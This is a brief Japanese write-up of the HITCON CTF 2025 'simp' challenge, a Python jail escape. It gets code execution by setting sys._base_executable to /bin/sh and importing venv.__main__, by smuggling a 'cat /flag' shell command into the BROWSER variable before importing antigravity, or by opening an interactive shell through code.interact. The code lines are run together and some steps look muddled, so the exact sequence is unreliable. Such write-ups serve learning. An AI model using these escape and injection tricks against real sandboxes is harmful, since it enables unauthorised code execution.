HITCON CTF 2025 - simp
Challenge
3行のシンプルなプログラムで、インポートしたモジュールに属性を設定できる。
import sysmodule = __import__(input())setattr(module, input(), input())Python 3.13.7 環境。
Solution
インポート時にコードを実行するモジュール
多くのモジュールは if __name__ == '__main__' でガードされているが、venv.__main__ はそうではない。
sys.argv と sys._base_executable の操作
# Step 1: sys をインポートsys
# Step 2: argv を設定argv['--help'] # または任意のコマンド
# Step 3: venv.__main__ をインポートしてコード実行完全な攻撃シーケンス
# 入力1: モジュール名sys
# 入力2: 属性名_base_executable
# 入力3: 値/bin/shその後、別のインポートで venv を悪用:
venv.__main__Technical Details
venv.__main__ の特性
# venv/__main__.py の構造import venvvenv.main() # 直接実行される(ガードなし)sys 属性の操作
sys.argv # コマンドライン引数sys._base_executable # Python実行ファイルパスsys.executable # 現在の実行ファイルインポート時実行されるモジュール
| モジュール | 条件 |
|---|---|
venv.__main__ | ガードなし |
antigravity | webbrowser を開く |
this | Zen of Python を表示 |
Alternative Solutions
別解1: antigravity + BROWSER 環境変数
# os をインポートosenviron{'BROWSER': '/bin/sh -c "cat /flag" #%s'}
# antigravity をインポートantigravity別解2: code モジュール
codeinteract# 対話シェルが開くFlag
hitcon{...}
References
- HITCON CTF 2025 Official
- https://blog.splitline.tw/hitcon-ctf-2025-authors-write-up/